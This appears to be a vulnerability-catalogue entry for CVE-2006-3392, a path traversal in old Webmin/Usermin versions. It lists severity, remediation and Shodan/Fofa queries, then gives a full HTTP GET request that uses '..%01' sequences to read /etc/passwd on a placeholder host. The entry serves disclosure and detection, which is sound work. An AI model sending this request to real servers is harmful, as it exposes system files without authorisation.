| Title | Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure |
|---|---|
| Author | s4e-io |
| Severity | Medium |
| Impact | Attackers can read arbitrary files on the server, potentially exposing sensitive information. |
| Remediation | Update to Webmin 1.290 and Usermin 1.220 or later versions. |
| CVSS Score | 5.0 |
| EPSS Score | 0.78348 |
| CVE ID | CVE-2006-3392 |
| CWE ID | CWE-22 |
| Shodan Query | http.title:"webmin" |
| Fofa Query | title="webmin" |
| Tags | cve cve2006 webmin usermin lfi traversal unauth vuln |
Webmin before 1.290 and Usermin before 1.220 contain a path traversal caused by calling the simplify_path function before decoding HTML, letting remote attackers read arbitrary files, exploit requires sending crafted ‘..%01’ sequences.
GET /unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2006/CVE-2006-3392.yaml
🦈 Packet Capture: ⬇️ Download cve-2006-3392.pcap
N/AN/A